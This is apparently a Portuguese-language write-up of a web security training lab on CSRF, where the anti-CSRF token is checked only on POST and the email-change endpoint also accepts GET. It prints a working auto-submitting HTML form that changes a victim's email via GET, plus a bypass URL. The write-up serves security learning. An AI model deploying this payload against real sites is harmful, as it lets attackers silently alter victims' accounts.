> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/csrf/csrf-token-validation-depends-on-http-method.md).

# CSRF com Validação de Token Baseada no Método HTTP

### CSRF em que a validação do token depende do método da requisição

#### Contexto do laboratório

A funcionalidade de alteração de e-mail é vulnerável a um ataque CSRF. Há uma defesa, mas ela é aplicada apenas a certos tipos de requisições. Objetivo: Hospedar uma página no servidor de exploração que force a vítima a alterar seu endereço de e-mail. / Credenciais fornecidas para testes: `wiener:peter`.

#### Constatação

* Um token CSRF é verificado em **POST** requisições.

<figure><img src="/files/cf0f780d10af6b8c07646b2121b0aea3e07fae61" alt=""><figcaption></figcaption></figure>

* A mesma ação aceita em **GET** \*\*n
* Ponto em questão: `/my-account/change-email`.

<figure><img src="/files/dd163e98624de9a28fe8a70e60ddf32651bea926" alt=""><figcaption></figcaption></figure>

Hospedar no servidor executa uma página que envia automaticamente uma **GET** requisição para o endpoint de alteração de e-mail:

```html
<form class="login-form" name="change-email-form" action="https://0a72007c0337ccb880ed1c9b00fa00d1.web-security-academy.net/my-account/change-email" method="GET">
           <input required="" type="email" name="email" value="Hacked@byjordan.com">
</form>

<script>
   document.forms[0].submit();
</script>
```

A URL a seguir ilustra o bypass (nenhum token é necessário no GET)

```html
/my-account/change-email?email=test%40test.com
```

<figure><img src="/files/cca57c237edc0fcd9f1443e08b37536076795e37" alt=""><figcaption></figcaption></figure>


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